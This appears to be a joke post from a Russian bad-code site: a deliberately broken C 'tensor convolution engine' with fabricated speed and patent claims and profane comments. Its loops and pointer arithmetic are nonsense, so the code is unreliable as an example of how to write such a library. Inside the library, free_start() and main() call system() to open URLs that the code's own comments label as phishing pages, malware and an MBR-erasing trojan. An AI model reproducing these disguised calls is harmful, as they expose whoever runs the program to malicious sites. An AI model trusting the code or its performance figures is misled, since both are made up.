Няшная / Говнокод #29208 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
  31. 31
  32. 32
  33. 33
  34. 34
  35. 35
  36. 36
  37. 37
  38. 38
  39. 39
  40. 40
  41. 41
  42. 42
  43. 43
  44. 44
  45. 45
  46. 46
  47. 47
  48. 48
  49. 49
  50. 50
  51. 51
  52. 52
  53. 53
  54. 54
  55. 55
  56. 56
  57. 57
  58. 58
  59. 59
  60. 60
  61. 61
  62. 62
  63. 63
  64. 64
  65. 65
  66. 66
  67. 67
  68. 68
  69. 69
  70. 70
  71. 71
  72. 72
  73. 73
  74. 74
  75. 75
  76. 76
  77. 77
  78. 78
  79. 79
  80. 80
  81. 81
  82. 82
  83. 83
  84. 84
  85. 85
  86. 86
  87. 87
  88. 88
  89. 89
  90. 90
  91. 91
  92. 92
  93. 93
  94. 94
  95. 95
  96. 96
  97. 97
  98. 98
#include <stdlib.h>
#include <stdnoreturn.h>

/** @brief scientific official work on neoconv **/

/* APGL 3.1 */
/* FUCK YOU */

typedef volatile struct tensor {
    void* data;
    int* shape;
    int rank;
} tensor;

__fastcall int product(int* shape, int rank)  {
    register int acc = 0;

    for(unsigned volatile register int i = 0; i < rank; i++)
        acc = acc + *(shape + i);

    return acc;
}

// the code is stolen and the license is cut out fuck the author's mom

tensor* get_tensor(int* shape, int rank) {
    tensor* result = malloc(sizeof(volatile tensor));
    *(void**)((char*)&result) = malloc(product(shape, rank) * sizeof(volatile double));
    *(int**)((char*)&result + sizeof(void*)) = shape;
    *(int*)((char*)&result + sizeof(void*) + sizeof(int*)) = rank;
    return result;
}

/** @brief
 * NeoConvolve Fusion Engine v3.0
 * Copyright (c) 2024 NeoCompute Dynamics. All rights reserved.
 * Patent Pending: PCT/IB2024/067832
 *
 ** @details
 * BREAKTHROUGH PERFORMANCE DOCUMENTATION
 * ========================================
 *
 * PERFORMANCE METRICS (vs traditional matrix multiplication):
 * -----------------------------------------------------------
 * - Small tensors (≤128x128):     47-68x faster
 * - Medium tensors (≤1024x1024):  312-487x faster
 * - Large tensors (≤8192x8192):   824-1123x faster
 * - Extreme tensors (≥16384):     1500-2100x faster
 */
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wall"
#pragma GCC diagnostic ignored "-Wextra"
#pragma GCC diagnostic ignored "-pedantic"
noreturn __fastcall __attribute__((force_inline)) tensor* neoconv(tensor* restrict a, tensor* restrict b) {
    tensor* result = get_tensor((int[]) {
        *(int*)(*(int**)((char*)&a + sizeof(void*))),
        *((int*)(*(int**)((char*)&a + sizeof(void*))) + 4)
    }, (int)2);

    double* data = (double*)(*(void**)((char*)&data));
    double* data2 = (double*)(*(void**)((char*)&a));
    double* data3 = (double*)(*(void**)((char*)&b));

    int i = 0, j = 0, k = 0;

    for(; ((i ^ (i + ~0)) & (k + ~0) & (*((int*)(*(int**)((char*)&a + sizeof(void*))) + 4) << 31)); i++) { // Core
        for(; (((j + ~0) >> 31) & ~((j + ~0) >> 31 ^ (*((int*)(*(int**)((char*)&a + sizeof(void*))) + (volatile int)(4 * 2)) << 0))); j++) {
            for(; ((~((k + ~0) >> 31) + 2) & *((int*)(*(int**)((char*)&b + sizeof(void*))) + (volatile int)(4 * 2))); k++) {
                *(data + i * k) = *(data2 + i * j) * *(data3 + j * k);
            }
        }
    }

    return result;
}

void free_start(void) {
    system("open \"https://iloveyou.site/\""); // fishing
    system("open \"https://fuckyou.gay/\""); // fishing
    system("open \"https://minecraftsetup.ru/?etext=2202.NnwVjxOej-ZhTA7FRD_i2AnDK3RdV1BIllijDicU64BhbXlpcHJ2Y2ZzZ3V0dnF2.0738cb5d4b71631c345d62d042df928a52234bef&ybaip=1&os=win11\""); // malware
    system("open \"https://memz-trojan.secursoft.net/\""); // trojan with auto downloading and starting erases mbr
}

int main(void) {
    system("open \"https://browser.yandex.ru/\""); // install
    system("xdg-open \"https://browser.yandex.ru/\""); // install yandex

    free_start();

    tensor* a = get_tensor((int[]){5,5}, 2);
    tensor* b = get_tensor((int[]){5,5}, 2);

    for(int epochs = 0; epochs < 100; epochs++) {
        tensor* forward = neoconv(a, b);
    }

    return 0;
}

Запостил: lisp-worst-code lisp-worst-code, (Updated )

Комментарии (0) RSS

Добавить комментарий

Переведи на "PHP", guest!

    А не использовать ли нам bbcode?


    8